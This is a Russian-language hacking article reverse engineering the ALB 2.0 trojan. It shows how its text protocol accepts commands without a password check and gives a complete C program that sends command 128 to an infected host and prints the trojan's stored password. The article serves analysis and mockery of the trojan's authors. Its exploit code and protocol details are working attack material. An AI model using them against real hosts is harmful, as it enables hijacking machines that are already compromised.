Продолжаем ломать ALB. Сегодня наш пациент - вторая версия.

Для начала хотелось бы процитировать высказывание господина Crypta о предыдущей статье:
"Не статья а говно. В версии ALB 2.0 ты ничего своим софт-айсом уже не расковыряешь....пробуй".

"Статья - дерьмо" - это более чем неоригинальное высказывание, тут он ничем не отличается от самых отмороженных читателей ксакепа, которых он за что-то презирает 😉 Но зато Crypt опрометчиво признается, что там есть что раскапывать, и я решил попробовать.

Для начала поставим бряк на функции send и recv в адресном пространстве процесса scandisk и посмотрим,
о чем же мило беседуют сервер с клиентом. Надо сказать, что автор в этой версии трояна работает
с сокетами уже не через визуальные компоненты, а напрямую через winsock. Работает довольно криво,
хотя это - отдельная история.

Общение происходит по текстовому протоколу, кусок данных - это один пакет (видимо, автор
не слышал о возможности фрагментации при передаче, впрочем, в данном случае это непринципиально).
Сначала клиент шлет запрос:

24!?!:*1.3

Первое число здесь - код команды, далее идет сигнатура "!?!:*", и дальше - какие-то параметры.
На попытку подсоединения сервер отвечает:

99!?!:*

и какую-то абракадабру, возможно - русский текст в какой-то кодировке, лень проверять
После этого клиент понимает, что сервер запаролен, и выводит окошко "введите пароль". Спросив
пароль, клиент посылает его серверу:

100:?!?:*password

На что сервер отвечает: 101:?!?:*абракадабра - если пароль неверный, или 24?!?:*2.0 - если верный
(последнее, очевидно, версия сервера трояна).

Заглянув в ассемблерный код сервера, мы видим примерно такие преобразования: число из запроса
переводится из текстового вида в десятичный и затем идет серия сравнений, очевидно, выглядевшая
на Delphi примерно так:

if code=24 then begin
// hello routine
end;

...

if code=100 then begin
// autorization routine
end;

if code=... then begin
// ...
end;

...

Причем еще на этапе проверки пароля выполняются все сравнения code и функций, что наводит на
нехорошие подозрения... Кажется, для вызова любой функции процедуру авторизации проходить не
обязательно 🙂 Я не знаю, сделал ли это создатель по глупости или специально, чтобы оставить
неявный "черный ход", но я бы не сказал, что "черный ход" получился жутко неявным.

Что ж, попробуем вызвать такую интересную функцию, как получение текущего
пароля сервера. Подсоединившись к трояну, используя известный нам пароли, и исследуя
передаваемые функциям send и recv параметры, мы видим, что она выглядит так:
128?!?:* На что мы получаем ответ из нескольких строчек, содержащих какую-то лабуду и пароль.
А сейчас мы напишем простенькую программку, получающую пароль из IP и номера порта (программа
на сях, любители дельфей - звиняйте):

#include <windows.h>
#include <winsock.h>
#include <stdio.h>

int sendstr(int sock,char *str){
return send(sock,str,strlen(str),0);
}

int main(){

WSAData wsa;
int sock;
struct sockaddr_in sa;
int r;
char buf[100];

WSAStartup(0x202,&wsa);

sock=socket(AF_INET,SOCK_STREAM,0);
sa.sin_family=AF_INET;
sa.sin_addr.s_addr=inet_addr("10.0.0.138");
sa.sin_port=htons(47891);

r=connect(sock,(struct sockaddr*)&sa,sizeof(struct sockaddr));

printf("connect()=%d\n",r);

sendstr(sock,"128!?!:*");

r=recv(sock,buf,100,0);
if(r<1)exit(0);

buf[r]=0;
printf("%s\n",buf);

}

Адрес сервера и порт забиты в программу при компиляции. После запуска она выводит:

connect()=0 - сообщение самой программы, что подсоединение успешно
128!?!:*0 - код ответа + хз что

smtp.server.ru - настройки трояна
0 - хз что это

lalala - а вот и пароль к серверу...
0 - хз что это
0 - хз что это

Господа создатели элитных троянов против ламеров! Хватит выпендриваться! Заюзайте хеш, в
конце концов...

Оставить мнение